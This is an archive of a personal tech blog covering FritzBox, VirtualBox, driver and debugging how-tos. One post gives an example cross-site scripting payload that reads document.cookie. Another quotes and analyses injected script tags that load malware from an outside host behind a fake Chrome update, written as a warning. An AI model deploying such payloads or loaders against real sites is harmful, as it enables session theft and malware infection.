Sunday, July 24, 2011

Anleitung abgeschnitte Faxe mit der Fritz Box verhindern


Seit kurzem habe ich zum ersten Mal die Fax Funktion meiner Fritz Box 7170 ausprobiert. Doch leider kommen die Faxe immer nur zerstückelt an, siehe Bild.

Nach einiger Internetrecherche[1] habe ich im Freetz Webinterface 40MB Swap Space eingestellt. Die Swappiness[2] habe ich auf dem Standardwert 60 belassen. Scheinbar wird der Swap Space auch nur während der Konvertierung des empfangenen Faxes genutzt und 40MB reichen auf jeden Fall für einen ordentlichen Faxempfang aus! Kann ich nur empfehlen, falls ihr das gleiche Problem habt.


Im normalen Betrieb bleibt der SWAP ungenutzt:



[1] http://www.ip-phone-forum.de/showthread.php?t=217730
[2] http://juliusbeckmann.de/blog/linux-speichermanagement-tunen-swappiness.html

Sunday, July 17, 2011

Cross Site Scripting wird in Browsern vertuscht

Cross Site Scripting ist eine unschöne Sache. Dabei übernimmt der Server ohne weitergehende Prüfung eingaben des Benutzers.

Formularfelder werden vielfach per Javascript geprüft. Das ist nicht sicher! Man kann zum Beispiel GET Parameter direkt in der URL Leiste manipulieren.

Moderne Browser machen hier leider einen Strich durch die Rechnung indem URLs automatisch URL-encoded werden.

Beispiel Chrome:
Sichtbar ist in der URL Bar folgendes:
example.com/?param=<script>alert(document.cookie)</script>
Tatsächlich verwendet wird aber:
http://example.com/?param=%3Cscript%3Ealert(document.cookie)%3C/alert%3E
Hier wurde ein URL Encoding vorgenommen. Problematisch, weil mit URL-Encoding häufig kein Ausnutzen des Cross Site Scripting möglich ist. Es sieht aus, als ob die Web Anwendung sicher ist. Durch einen Intercepting Proxy ist ein Ausnutzen aber immer noch möglich!

Ähnlich wird in Internet Explorerer 8 und Firefox 3 and 4 vorgegangen. Allerdings wird hier der URL encoded String im Browser angezeigt, zumindest ein Hinweis für die Web Entwickler.

Wichtig ist es für einen WEB Entwickler, die Anzeige in der URL Leiste gegenzuchecken mit Firefox Plugins wie Tamper Data oder der Network Leiste in Google Chrome. Nur so kann effektiv auf Cross Site scripting überprüft werden. Im Zweifel sollte ein intercepting Proxy, zum beispiel Burp, herangezogen werden. Der kann dann auch POST Parameter modifizieren und ist frei von jeglichen Jacascript Checks.


Links:
- OWASP: Cross Site Scripting
- Burp intercepting Proxy

Thursday, April 14, 2011

SOAP Requests as HTTP Requests in Neoload vs. Loadrunner

Last month I started using Neoload as a load testing tool. It allows for a very easy learning curve so that the skill "load testing" can be more easily acquired.

Comparison
HP Loadrunner
Neotys Neoload
(+) fully scriptable
(+) advanced reports
(-) only simple expressions
(-) hard to learn
(-) long time needed to record
(+) simple, intuitive interface
(+) very good regular expressions
(+) most correlations automatic
(+) inexpensive
(-) Limited report export functionality

SOAP with Neoload


Both those products can be acquired with many different protocols or monitors. Neoload offers a very easy SOAP Protocol functionality where it reads out the descriptive WSDL file and offers the services for building the xml file.

However I did not have that SOAP protocol available. That means it is only not available for checking a replaying the Vuser. It is always available for recording.

For checking out the functionality in Neoload I decided to encapsulate a SOAP request in the HTTP protocolg. A SOAP request can be a simple http post request.


Usually http post request body data is comprised of key=value?key=value pairs. The Neoload HTTP protocol is designed to work exactly with this pattern and offers name and value pairs. It is possible to enter Text only in the name column. This is good for the XML SOAP request.


Yet it is possible to enter free text there and variables. If no value is present, the equal sign can be omitted by deselecting the checkbox for "put equals" in the advanced settings.


The http header can also be changed in the advanced settings of the neoload request. A special SoapAction header is necessary in the request header.

After that I added a simple variable extractor to extract the variable result.


Monday, January 31, 2011

Realtek RTL8187B USB Wireless and Mac OS X 10.6 Snow Leopard Howto



While Mac OS tries to look simple it still fails miserably at some 3rd party hardware support. For example a DIGITUS DN-7003GT USB Wireless dongle I got recently. Auto detection: fail.

The Digitus homepage promises Mac support. But no driver to download. Most Usb devices just re-use a specific wireless chipset. The driver for that chipset will work on every dongle, no matter which branding it uses. The DIGITUS branding contains just a RTL8187B chipset.

HOWTO get R8187 running


1. Download driver

http://218.210.127.131/downloads/downloadsView.aspx?Langid=1&PNid=24&PFid=1&Level=6&Conn=5&DownTypeID=3&GetDown=false&Downloads=true

Chipset: RTL 8187B, choose the OSX 10.5 one, even if you have OS X 10.6.
2. Install using the install command

Probably Mac OS X will say, that the driver is incompatible, but just install it for now.

3. Edit the driver

Now the driver needs to be changed for two reasons:

a) make it compatible to Mac OSX 10.6

edit the last few lines in /System/Library/Extensions/RTL8187Bl.kext/Contents/Info.plist
search for com.apple.kpi and replace update the version numbers to 8.1.0, so that you get:
<key>com.apple.kpi.bsd</key>
<string>8.1.0</string>
<key>com.apple.kpi.iokit<k/ey>
<string>8.1.0</string>
<key>com.apple.kpi.libkern</key>
<string>8.1.0</string>
<key>com.apple.kpi.mach</key>
<string>8.1.0</string>


b) make it compatible to the specific Digitus USB wireless dongle

Use "About this Mac"->"More Information" to find your USB Device ID.

Google helps to convert it to decimal:

Vendor ID 0x0bda in decimal is 3034
Device ID 0x8189 in decimal is 33161

However in the Info.plist I only have a different device ID. But I am able to locate the Vendor ID:
<key>idProduct</key>
<integer>33161</integer>
<key>idVendor</key>
<integer>3034</integer>
The Product ID just needs to be changed to match the actual product ID of the specific USB dongle.

4. Fix permissions of the kernel extension

With Mac OS X, permissions of kernel Extensions are very important! You can even go to Disk Utility and let it repair all disk permissions.

chown -R root:wheel RTL8187Bl.kext
chmod -R 755 RTL8187Bl.kext

5. Enable the kext in Mac OS X

Mac OS X keeps a cache of all kext, so we need to publish the newly compatible driver there:

rm /System/Library/Caches/com.apple.kext.caches/Startup/Extensions.mkext
kextcache -v 1 -a i386 -a x86_64 -m /System/Library/Caches/com.apple.kext.caches/Startup/Extensions.mkext /System/Library/Extensions

Make sure the device does not get listed as unsuccessful during the kextcache enabling!

6. Load the driver

Now just plug in your USB dongle to see if it is detected correctly. For debugging purposes, we can load the driver manually:


kextload -t RTL8187Bl.kext

Dmesg should now have the message:

RTL8187B: Ethernet address xx:xx:xx:xx:xx:xx

You can only use it with the Realtek USB WLAN Client Utility. Really uncomfortable. Is there any dongle out there that works on Mac without a utility?

Tuesday, January 25, 2011

Installation Treiber von Windows XP CD unter Windows Vista

Heute ging es daran ein antikes Schmuckstück, EPSON LQ-550 an einem inzwischen auch schon veralteten Windows Vista Computer anzuschliessen. Vista bietet den Druckertreiber unverständlicherweise von Haus aus nicht mehr an. Treiber zum Download gibt es nur für Windows 98. Es gibt auch mit dem omniprint Projekt einen CUPS Linux Treiber - vielleicht etwas für die nächste Migration auf Linux! Allerdings gibt es mit etwas Googlen die Information, dass der Drucker von Windows XP unterstützt wird. Plan: XP Treiber für Vista recyclen

Wo sind die alten Treiber auf der Windows XP CD?

Die Treiber von Windows XP kommen in einer Datei D:\WINXP\I386\driver.cab. Driver.cab enthält dann den konkreten Treiber ep24res.dll und die GPD-Beschreibungsdatei EP550.GPD. Allerdings können diese beiden nur durch eine inf-Datei installiert werden. Zum Glück muss man diese nicht selbst erstellen, sondern Windows XP bringt die schon im Verzeichnis D:\WINXP\I386 selbst mit.

Wie werden diese unter Windows Vista verwendet?

Im Drukermenü kann ein neuer Drucker hinzugefügt werden und dort muss dann ein eigener Pfad der Treiberdaten angegeben werden. Dieser Pfad ist D:\WINXP\I386. Danach bietet Vista die komplette Treiberliste von Windows XP an. Hier kann man direkt das richtige Modell auswählen.

Und voila - der alte Nadeldrucker verrichtet auch selbst unter Windows Vista tadellos seine Dienste.

Monday, January 10, 2011

OpenVPN zwischen iPhone und FritzBox

Wieso OpenVPN?
Nachteile des AVM VPNs mit IPSeC:
- das iPhone verlangt immer ein Passwort
- es wird nicht der gesamte Verkehr übers VPN geleitet

PPTP geht mit Freetz und der FritzBox Beta Labor nicht, weil AVM dort keine Kernel Quellcodes bereitstellt. Bei OpenVPN geht alles auch mit der Labor Version, wenn es auch etwas Aufwand verlangt.

Setup von OpenVPN auf dem iPhone
Ich bin nach einer Anleitung für OpenVPN und Freetz [1] und einer Anleitung für OpenVPN und das iPhone [2] und [3] vorgegangen. Dort fehlt allerdings ein für mich wichtiger Punkt:

Den gesamten Traffic durch den Tunnel leiten
Die Weiterleitung des gesamten Traffics ist unter Mac OSX und iOS nicht so gehandhabt, wie auf anderen Unixen. Die Routen lassen sich mit "netstat -r" anzeigen und mit dem OSX-eigenen Tool "scutil" umsetzen.

Zur Weiterleitung des gesamten Updates wird das Attribut "OverridePrimary" verwendet, siehe Beispielscript unter [4]. Dazu habe ich in der Datei aus dem Guide oben den Eintrag für "update-resolv-conf" gesucht und dort zwischen die anderen d.add Befehle "d.add OverridePrimary # 1" eingefügt. Damit wird der gesamte Traffic über das VPN geleitet.

Fazit, Vergleich OpenVPN und andere
Bei mir hat das soweit funktioniert, ich hatte aber doch bei Sprachgesprächen einen Hall, was vielleicht an der latenzträchtigen UDP-Kapselung von OpenVPN liegt. Nach meinem Gefühl ist es bei PPTP nicht so hörbar. Also forsche ich weiter nach der perfekten iSIP iPhone FritzBox VPN Telefonie Lösung.

[1] http://freetz.org/wiki/packages/openvpn
[2] http://dokuwiki.knallimall.org/iphone:openvpn
[3] http://chandraonline.net/blog/?p=22
[4] http://www.bsdforen.de/showthread.php?p=212991

Wednesday, December 22, 2010

Warten auf Standard-Ausgabe in Bash oder offene Pfeife

Das Problem

Nach Aufruf eines Dämons (hier sleep) kehrt die Bash nicht gleich zurück sondern wartet.
$  time ( sleep 3 &)|cat; ps

real    0m3.005s
user    0m0.000s
sys     0m0.004s
  PID TTY          TIME CMD
 7644 pts/0    00:00:00 bash
14552 pts/0    00:00:00 ps

Erklärung

Das "sleep" Kommando in der Subshell "( )" soll in den Hintergrund gehen "&". Danach soll die Ausgabe des symbolischen "sleep"-Dämons mit einem symbolischen "cat" verarbeitet werden. Die Zeitmessung "time" dauert statt der erwarteten 0.0x volle 3 Sekunden und "sleep" ist nach dem Aufruf nicht in der Prozessliste sichtbar.

Analyse

Das passiert nur, wenn die Ausgabe über eine Pfeife "|" geleitet wird. "cat" muss auf alle Eingaben warten, bevor es sich selbst schließt.

Workaround

$ time ( sleep 3 &)>/dev/null|cat; ps

real    0m0.003s
user    0m0.000s
sys     0m0.004s
  PID TTY          TIME CMD
 7644 pts/0    00:00:00 bash
17449 pts/0    00:00:00 sleep
17450 pts/0    00:00:00 ps
Hier wird die Standardausgabe auf /dev/null umgelenkt. Damit muss "cat" nicht mehr auf die Ausgabe warten. Ein definiertes Logging kann auch in eine Datei erfolgen, falls man die Ausgabe behalten möchte:
$ ( sleep 3 &)>/var/log/meindaemon.log|cat

Empfehlung

Ein "richtiger" Dämon sollte immer selbst Standardaus- und Eingaben abkoppeln um nicht noch gekoppelte Prozesse in der aufrufenden Shell aufzuhalten.

Tools zum Debuggen

  • lsof -p (PID) Offene Dateien eines Programmes auflisten
  • pfiles (PID) Schöner offene Dateien eines Programmes auflisten
  • fuser (Datei) Herausfinden, von welcher PID eine Datei geöffnet wird

Wednesday, December 15, 2010

Leichtgläubigkeit und Virenverteilung im Browser



Heute wurde mir bei der Immobiliensuche ein Chrome Browser in der Version 10 angeboten. Sehr geschickt ist in einem Iframe unterhalb die Seite von Google eingeblendet um den Anschein von Vertrauen zu erwecken. Wer sich allerdings auskennt, kann im Release Blog nachsehen, dass es Version 10 noch gar nicht gibt [1]. Bei einem Klick auf "Aktualisierung starten" wird eine vermutlich virenbelastete .exe-Datei "Chrome_5_update.exe" heruntergeladen.



Beim "Abbrechen" ist mein System möglicherweise gefährdet - und ich lande auf domport.de. Vermutlich hat die Domaininhaberin ihre Website aufgegeben oder noch gar nicht erstellt, und leitet deshalb auf einen Domain Parker um. Diese versuchen durch den Traffic noch Werbeeinnahmen zu erzielen. Allerdings ist hier wohl das System von Domport manipuliert. Ich habe DOMPORT per E-Mail informiert aber bisher (24.12.) keine Antwort bekommen.

Wie funktioniert diese Weiterleitung technisch? Im Code, der von http://immobilien-muenchen-flughafen.de/ ausgeliefert wird, steht folgendes:
<script type="text/javascript" src="http://www.updates-browser.com/update_layer/layer_os.php?au=http%3A%2F%2Fparking.domport.de%2F%3Fdomain%3Dimmobilien-muenchen-flughafen.de"></script>
<script language="javascript">window.setTimeout('updatepop()',3000);</script>
<iframe width="100%" height="100%" src="http://www.google.de/search?q=www.immobilien-muenchen-flughafen.de" border="0" frameborder="0" style="border:0px;"></iframe>


Der erste Script Aufruf holt sich den Malware-Code bei updates-browser.com, danach wird dem Browser ein iframe mit einer Google-Suche untergeschoben. Dadurch sieht das ganze für den Laien vertrauenswürdig aus.

Die Moral: Vorsicht, Google Chrome updated sich von selbst, niemals ein Updatefenster akzieptieren!

Das Spoofing ist bekannt im Netz und zum Beispiel auch auf www.sandmeannchen.de aktiv [2]. Auch heise[3] berichtete darüber.

Ich hoffe hiermit verhindere ich einige Infektionen!

[1] http://googlechromereleases.blogspot.com
[2] http://www.freak-search.com/de/thread/3204336/spoofing_seite
[3] http://www.heise.de/newsticker/meldung/Vorgebliche-Browser-Updates-installieren-Ad-Ware-1138301.html

Friday, December 3, 2010

VirtualBox Webinterface PHPVirtualBox einrichten unter Linux

Wieso Virtualbox?
VMWare, KVM+libvirt, Qemu, was nimmt man nur? Am technologisch "besten" soll libvirt und KVM sein. Aber dafür gibt es kein geeignetes Webinterface. Dagegen ist PHPVirtualbox eine geniale Lösung, die sehr stark dem Desktop-Client nachempfunden ist. Auch ohne Vorkenntnisse sollte man sehr gut damit zurecht kommen. Hier gibt es zum Einstieg ein HOWTO mit einer Schritt für Schritt Anleitung.

Virtualbox unter Ubuntu installieren
Zunächst will Ubuntu wissen woher es Virtualbox bekommt. Ich nehme in diesem Beispiel die LTS Version 10.04 oder "Lucid", das sollte bei anderen Versionen geändert werden.
# Quellen bekannt machen
echo -e "# Virtualbox Quelle für Lucid 10.04
deb http://download.virtualbox.org/virtualbox/debian lucid non-free" \
  >> /etc/apt/sources.list
# Den sicheren Schlüssel hinzufügen
apt-key adv --recv-keys \
  --keyserver keyserver.ubuntu.com 98AB5139

# Paketlisten aktualisieren
apt-get update
# VirtualBox installieren
apt-get install virtualbox-3.2

# Benutzer hinzufügen
useradd -m vbox vboxusers
# Passwort setzen und merken für später
passwd vbox

# Benutzername für Init eintragen und starten
echo "VBOXWEB_USER=vbox" >> /etc/vbox/vbox.cfg
/etc/init.d/vboxdrv start /etc/init.d/vboxweb-service start # VirtualBox Bei jedem Booten starten update-rc.d vboxweb-service defaults
PHPVirtualBox installieren
Zunächst brauchen wir PHP selbst, dann kann auch die Applikation installiert werden.
apt-get install php5
cd /var/www/ # Downloaden und auspacken
wget http://phpvirtualbox.googlecode.com/files/phpvirtualbox-0.5.zip
unzip phpvirtualbox-0.5.zip
rm phpvirtualbox-0.5.zip # apache starten und per default starten
/etc/init.d/apache2 restart
update-rc.d apache2 defaults

Danach ist es noch nötig, die Datei "/var/www/phpvirtualbox-0.5/config.php" anzupassen:
var $username = 'vbox';
var $password = 'GemerktesPasswortVonVorhin';
Das Setup absichern
Datei /var/www/phpvirtualbox-0.5/.htaccess
AuthType Basic
AuthName "Login to phpVirtualBox"
AuthUserFile /var/www/phpvirtualbox-0.5/.htpasswd
Require user vbox
Datei .htpasswd erzeugen, bitte mit sicherem Passwort:
htpasswd -c /var/www/phpvirtualbox-0.5/.htpasswd vbox
Die .htpasswd Absicherung muss dann noch in der Apache Konfiguration für /var/www erlaubt werden:
/etc/apache2/sites-available/default:
<Directory /var/www>
...
AllowOverride None
...
</Directory>
ändern in:
/etc/apache2/sites-available/default:
<Directory /var/www>
...
AllowOverride AuthConfig
...
</Directory>
VMWare Images zu VirtualBox konvertieren
Vmwares disk images im VMDK Format können direkt von VirtualBox verwendet werden, allerdings nicht, wenn sie in mehrere Dateien aufgeteilt sind. Zusammenfügen von Images:
vmware-vdiskmanager -r name-der-alten.vmdk -t 0 neuer-single-vmdk-name.vmdk
Beim Erstellen der neuen Virtual Machines in VirtualBox habe ich auf folgendes geachtet:
- IDE festplatte wählen statt SATA
- Host-only networking

Remote Desktop Verbindung mit VRDP absichern [Update 4.12]
Die remote Desktop Verbindung ist wunderschön zum einrichten von virtuellen Maschinen. Nur leider ist das per Default ohne Passwort. Das entsprechende Kapitel in der Virtualbox Anleitung erklärt, was die verschiedenen Methoden "External" oder "Guest" bedeuten. So richtig befriedigend finde ich diese Sicherungsmethoden aber nicht. Hier sollte Virtualbox noch nachbessern.

Weblinks
PHPVirtualbox Website
Blogeintrag Moving from VMWare to VirtualBox. PHPVirtualBox on Ubuntu.

Wie programmiert man sichere Web Applikationen?

Jeder Web Entwickler sollte sich bewusst sein, dass unsicher programmierte Webapplikationen heute das Haupteinfallstor in sichere Unternehmensnetze sind.

Um diese Lücke zu schliessen wäre der beste Weg, einfach keine Lücken in Web Applikationen einzubauen. Allerdings passiert das einbauen von Lücken oft unbemerkt und manche Schlupflöcher sind eventuell noch gar nicht entdeckt. Um allerdings bekannte Fehler zu vermeiden, ist es zuerst nötig diese zu kennen. Frei nach dem Motto "know your enemy".

Eine Liste findet sich in den OWASP Top 10. Um etwas tiefer einzusteigen kann man sich die eigenen HTTP Header mit Hilfe des Burp proxy anschauen und modifizieren. Im Web gibt es eine Vielzahl von unsicheren Beispielapplikationen, die Lücken zum Live-Anschauen bieten, zum Beispiel: badstore, mutilidae, moth, eine Liste. Sehr geholfen hat mir auch das Buch "The Web Application Hackers Handbook" von den Machern von burp. Es ist zwar kein Schnäppchen aber lohnt sich doch für einen tieferen Einblick:



Disclaimer: Dies dient ausdrücklich nur dem Training und sichern von eigenen Web Applikationen.

Thursday, December 2, 2010

Testautomatisierung Open Source: Hudson, Fitnesse, JUnit

Zur Testautomatisierung verwende ich in der Regel kommerzielle Tools wie HP Loadrunner oder HP Quicktest Pro oder aber HP Quality Center.

Aber auch im Open Source Bereich gibt es viele interessante Testhelfer, hier eine kleine Auswahl:
- Hudson Automatisierte Buildprozesse inklusive Integration ins Versionsmanagement. Zum Beispiel build beim Subversion Checkin
- JUnit Bietet Möglichkeiten zum Testen von kleinen Codesegmenten. Vorteil: Es muss nicht zuerst die ganze Anwendung gebaut und gestartet werden.
- Maven ist ein standardisiertes "Makefile" für Java. Das Tool ermöglicht automatischen Download von Abhängigkeiten und bindet viele Testtools ein.
Fitnesse speichert Tests in einem Wiki und ermöglicht die schöne Ausführung.
- Selenium ist ein Web-Testing Framework um die Oberfläche von Webanwendungen durch einen Browser automatisiert zu testen.
- JMeter ermöglicht einen Lasttest durch Aufzeichen und späteres abspielen der Anfragen. Selenium benötigt pro User einen laufenden Browser und skaliert deshalb hier nicht gut.


Thursday, November 25, 2010

Die Prozess ID (PID) eines Prozesses unter Unix speichern - Beispiel ApacheDS

Immer wieder kommt es vor, dass Daemon-Prozesse ihre Prozess IDs nicht speichern können. Das hat den Nachteil, dass der Prozess später nicht mehr akkurat erkannt und beendet werden kann.

Zum Beispiel Apache Directory Server in der Version 1.5.4. Der proprietäre IBM Rational Directory Server für IBM Rational Synergy verlässt sich auf diese Version.

Das mitgelieferte .sh-Startskript ist unbrauchbar, weil nach dem Starten mit dem Bash-builtin $! nur die PID des Bash-Prozesses des Startskripts abrufbar ist. So kann die PID trotzdem gespeichert werden:
# ApacheDS implementiert in dieser Version keine PID Speicherung
# java Kommando aus der .sh Datei greppen
# Ausgabe ist ein ApacheDS logo, deshalb nach dev null
# Daemonisiert sich nicht ordentlich, deshalb muss STDERR auch nach dev null
$(grep ^java apacheds_1.5.4/apacheds.sh) >/dev/null 2>&1 &
echo $! > apacheds.pid

beim Beenden ist es dann möglich, diese PID gezielt zu killen. Hier bietet sich killproc an, weil es auch noch überprüft, ob die PID aus dem laufenden Linux Kernel zum Prozess "java" gehört:
/sbin/killproc -p apacheds.pid -TERM /pfad/nach/jre/bin/java

Problem gelöst. Für ApacheDS werden neuere Versionen sicher eine bessere Lösung bieten, zum Beispiel durch ein neues Installationslayout.

Monday, November 22, 2010

Google App Engine: Packliste Webapp Alpha

Nach etwas Arbeit habe ich endliche eine funktionierende Version online bekommen: Packliste Webapp Alpha (Disclaimer: keine vollständige Packliste, alpha)

Google App Engine ist ein kostenloser Hoster für Web Anwendungen. Die Free Quotas sind meiner Meinung nach sehr groß und sollten für die Packliste reichen. Wer für App Engine programmiert darf sich erstmal zwischen Java und Python entscheiden.

Java kenne ich schon und deshalb habe ich mich für Python und Django als Template Engine entschieden und dabei gelernt, dass Django auf Google etwas anders ist. Inzwischen finde ich mich in den Templates zurecht und kann produktiv sein.

Sehr schön ist das Framework jQuery Mobile. Es stellt das komplette Interface bereit und kümmert sich um Gerätekompatibilität. Gleichzeitig sind damit auch alle jQuery Funktionen verfügbar.

Aktuelle Funktionen meiner App:
- Anzeigen einer Packliste
- Packstücke einpacken -> durchstreichen und nach Unten bewegen
- AJAX-Onlinezähler zum Registrieren der Packhäufigkeit
- Hinzufügen von Items

TODO:
- HTML5 Local Storage für gepackte Teile
- Kategorisierung / Übersichtlichkeit
- Umwandlung in native App

Für Ideen und Verbesserungsvorschläge bin ich dankbar.

Danke an Charlotte für die Idee und an die Google Tools User Group München und das Bootcamp 2010 für die erste Android App, die zu dieser App geführt hat.

Tuesday, November 16, 2010

App-Programmierung - Web oder Nativ? Marktforschung

Am Anfang steht eine Idee: Eine Packliste, die Intelligent ist. Die mir beim Kofferpacken genau das anzeigt was am wichtigsten ist und dabei die Intelligenz der Massen nutzt.


Web oder Nativ?

Wie programmiert man heute Apps? In Java für Android oder in Objective-C fürs iPhone? Ich habe mir beides angesehen und eine Java-Android Applikation für meine Packliste geschrieben.

Allerdings will ich weder Android noch iPhone bevorzugen. Dafür gibt es Webapps. Diese können heute dank HTML5 auch offline-fähig sein. Und zum Bereitstellen für den Android oder iPhone Store kann man apparat.io oder thephonegap verwenden. Wenn man das überhaupt will, da beide derzeit Eintrittsgebühren verlangen. Vielleicht ist der Cydia Appstore besser.

Welches Framework für Web?

Zur Zeit gibt es für mobile App Entwicklung 2 große Frameworks, JQTouch von Sencha Labs und Jquery Mobile, die sich vor allem in der Lizenz unterscheiden. JQTouch bietet nur die GPL und JQuery Mobile auch alternative Lizenzen. Meine Wahl: JQuery Mobile.

Gibt es überhaupt einen Markt für eine Packliste Applikation?

Eine kleine Erkundungstour über Google Trends zeigt, dass das Suchvolumen nach Packliste sehr gering ist. Das englische "packing list" wird 10 mal häufiger gesucht. Vielleicht eine bessere Wahl als Titel?

Was bietet die Konkurrenz?

Selbst bei kostenlosen Apps will ich mir die Konkurrenz anschauen um nicht unnötigerweise Dinge zu duplizieren.

Für iPhone ist die Mammut Packing List sehr beliebt
http://www.mammut.ch/en/packinglist.html

Für Web-Anhänger gibt es eine universal packing list, die allerdings ein etwas betagtes Design hat:
http://upl.codeq.info

Und dann hat sich noch jemand an ein modernes webbasiertes Packlistenmanagement gewagt, allerdings sind dort bisher keine Inhalte hinterlegt.
http://www.packliste.org/

Ich denke da ist noch Platz für eine benutzerfreundliche, intelligente Packliste.

Sunday, November 7, 2010

Eclipse Tips For Android Programming

A small collection of Eclipse Android tips I found for little problems before Google Dev Day 2010 PreHackathon

Eclipse is quite slow in the default configuration. Quick tip:
edit (your eclipse dir)/opt/eclipse/Eclipse.app/Contents/MacOS/eclipse.ini
change
-Dosgi.requiredJavaVersion=1.5
into
-Dosgi.requiredJavaVersion=1.6
http://www.inteism.com/2010/05/how-to-speed-up-eclipse-on-os-x-10-6-snow-leopard/

Eclipse Android creates the R.class file on its own. You can remove it or use Menu - Project - Clean and it will be recreated. Good idea to do this from time to time.
http://stackoverflow.com/questions/3796490/error-unable-to-open-class-file-r-java
If you get Android Packaging Problem also use Menu - Project - Clean

Make sure you have the project selected when running build all, and not some resource
http://soft-dev-pro.blogspot.com/2010/03/android-mainoutxml-error.html


Make sure you create resources before using them or you will get Error: No resource found that matches the given name
http://brainflush.wordpress.com/2009/03/15/understanding-android-themes-and-styles/

AndroidManifest Activity Name should always be kept in sync with the classname:
http://stackoverflow.com/questions/3361896/runtime-exception-in-android-junit-testing 

Saturday, November 6, 2010

UNIX: Fehler finden mit Strace

Oft reicht die Fehlersuche über Logmeldungen nicht aus, um einen Fehler zu beheben. Dann ist ein kontrolliertes Ausführen des Programms in einem Debugger erforderlich. Dafür sind debug-Symbole nötig, und meist ein Neubau erforderlich.

Ohne debug-Symbole können allerdings auch schon nützliche Informationen mit "strace" gewonnen werden. Das Programm zeigt alle "System Calls" einer Applikation auf. Meist ist dann im Fehlerfall schon zu erkennen, welche Datei geöffnet wird oder wo genau der Fehler tatsächlich entsteht.

Natürlich muss ein Daemon vorher im Vordergrund ausgeführt werden, um die strace Befehle zu sehen. Konkret habe ich das verwendet um PPTPd in Freetz zu debuggen, siehe Dokumentation im Freetz-Wiki.

Einfaches Beispiel der Strace-Verwendung:

# strace echo 3
execve("/bin/echo", ["echo", "3"], [/* 15 vars */]) = 0
brk(0)                                  = 0x1ec03000
uname({sys="Linux", node="unknown-namer", ...}) = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x2aeadb3aa000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=42988, ...}) = 0
mmap(NULL, 42988, PROT_READ, MAP_PRIVATE, 3, 0) = 0x2aeadb3ac000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libc.so.6", O_RDONLY)        = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0`\355\1\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1432968, ...}) = 0
mmap(NULL, 3541032, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x2aeadb5ac000
mprotect(0x2aeadb704000, 2093056, PROT_NONE) = 0
mmap(0x2aeadb903000, 20480, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x157000) = 0x2aeadb903000
mmap(0x2aeadb908000, 18472, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x2aeadb908000
close(3)                                = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x2aeadb90d000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x2aeadb90e000
arch_prctl(ARCH_SET_FS, 0x2aeadb90db20) = 0
open("/dev/urandom", O_RDONLY)          = 3
read(3, "(\333\372\211\343\357\201", 7) = 7
close(3)                                = 0
mprotect(0x2aeadb903000, 16384, PROT_READ) = 0
mprotect(0x2aeadb5a9000, 4096, PROT_READ) = 0
munmap(0x2aeadb3ac000, 42988)           = 0
brk(0)                                  = 0x1ec03000
brk(0x1ec24000)                         = 0x1ec24000
open("/usr/lib/locale/locale-archive", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=3927616, ...}) = 0
mmap(NULL, 3927616, PROT_READ, MAP_PRIVATE, 3, 0) = 0x2aeadb90f000
close(3)                                = 0
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x2aeadbcce000
write(1, "3\n", 23
)                      = 2
close(1)                                = 0
munmap(0x2aeadbcce000, 4096)            = 0
close(2)                                = 0
exit_group(0)                           = ?

Tuesday, November 2, 2010

Fritzbox Rettungsupdate Freetz Recover mit Push_Firmware

Über einen kleinen eingebauten FTP-Server, der nur beim Booten aktiv ist, kann man auch die Fritzbox Firmware updaten:
# ./tools/push_firmware images/neues_firmware.image
(box neustarten)
Dabei gingen meine Firmware-Einstellungen nicht verloren.

Auf Mac OS X funktionierte bei mir nur ncftp zum kopieren und ich musste im Skript auch noch einige Änderungen bei uname und mktemp vornehmen, weil die BSD-Apps vom Mac hier strikter sind.

Ich verwende gerne die neueste Version des Fritzbox-Mods Freetz, den so genannten SVN Trunk. Die Bleeding-Edge Version wird laufend aktualisiert und enthält stundenaktuelle Neuerungen, ist deshalb allerdings auch extrem instabil.

Zum Beispiel im Changeset 6093 wurde ein Bug aus 6078 vorerst revertet. Ich habe allerdings dazwischen eine neue Firmware gebaut und eingespielt - danach startete die Box nicht mehr neu. Ein Recover half mir wieder ins Internet.


Saturday, October 23, 2010

Wiki2Touch: Howto offline Wikipedia auf dem iPhone OS 4.X

Das beste Feature der iPhone/iTouch Reihe überhaupt meiner Meinung. Wichtige geschichtliche, technische oder kulturelle Fragen können ohne Internetzugang beantwortet werden. Anlässlich meines Updates auf iOS 4.1 schreibe ich ein kleines HOWTO dazu.

Installiert werden muss ein kleiner Server und die Wikipedia Daten.

1. Software auf dem iPhone installieren
# apt-get install com.jmaille.sbswiki2touch sbsettings coreutils
Hinweis: um "apt-get" verwenden zu können, muss in Cydia APT 0.7 Strict installiert worden sein

SBSettings erlaubt das schnelle aktivieren des Servers. Auf SBSettings kann man mit einem Wisch des Fingers über die Leiste oben zugreifen.

2. Wikipedia Dumps
Nun müssen noch die Wikipedia Dumps auf das Device geladen werden. Norbert stellt diese kostenlos bereit [1]. Danke! Die Dateien müssen nach /User/Media/Wikipedia/de auf dem iDevice als images_de.bin und articles_de.bin. Bei mir funktionierten nur die 120px Bilder.
Zum Kopieren nutze ich den kostenlosen iPhone Explorer [2]
3. Webclip Icon für Wiki2Touch erzeugen, danke an Lucas [3]
